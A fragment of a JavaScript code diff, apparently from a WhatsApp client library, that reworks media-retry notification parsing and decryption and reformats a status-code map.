+ const encryptedInfoNode = getBinaryNodeChild(node, 'encrypt');
820
+ const ciphertext = getBinaryNodeChildBuffer(encryptedInfoNode, 'enc_p');
821
+ const iv = getBinaryNodeChildBuffer(encryptedInfoNode, 'enc_iv');
822
+ if (ciphertext && iv) {
823
+ event.media = { ciphertext, iv };
824
+ }
825
+ else {
826
+ event.error = new Boom('Failed to re-upload media (missing ciphertext)', { statusCode: 404 });
827
+ }
628
828
  }
629
- }
630
- return event;
829
+ return event;
631
830
  };
632
- //=======================================================//
633
- export const decryptMediaRetryData = async ({ ciphertext, iv }, mediaKey, msgId) => {
634
- const retryKey = await getMediaRetryKey(mediaKey);
635
- const plaintext = aesDecryptGCM(ciphertext, retryKey, iv, Buffer.from(msgId));
636
- return proto.MediaRetryNotification.decode(plaintext);
831
+ export const decryptMediaRetryData = ({ ciphertext, iv }, mediaKey, msgId) => {
832
+ const retryKey = getMediaRetryKey(mediaKey);
833
+ const plaintext = aesDecryptGCM(ciphertext, retryKey, iv, Buffer.from(msgId));
834
+ return proto.MediaRetryNotification.decode(plaintext);
637
835
  };
638
- //=======================================================//
639
836
  export const getStatusCodeForMediaRetry = (code) => MEDIA_RETRY_STATUS_MAP[code];
640
837
  const MEDIA_RETRY_STATUS_MAP = {
641
- [proto.MediaRetryNotification.ResultType.SUCCESS]: 200,
642
- [proto.MediaRetryNotification.ResultType.DECRYPTION_ERROR]: 412,
643
- [proto.MediaRetryNotification.ResultType.NOT_FOUND]: 404,
644
- [proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
838
+ [proto.MediaRetryNotification.ResultType.SUCCESS]: 200,
839
+ [proto.MediaRetryNotification.ResultType.DECRYPTION_ERROR]: 412,
840
+ [proto.MediaRetryNotification.ResultType.NOT_FOUND]: 404,
841
+ [proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
645
842
  };
646
- //=======================================================//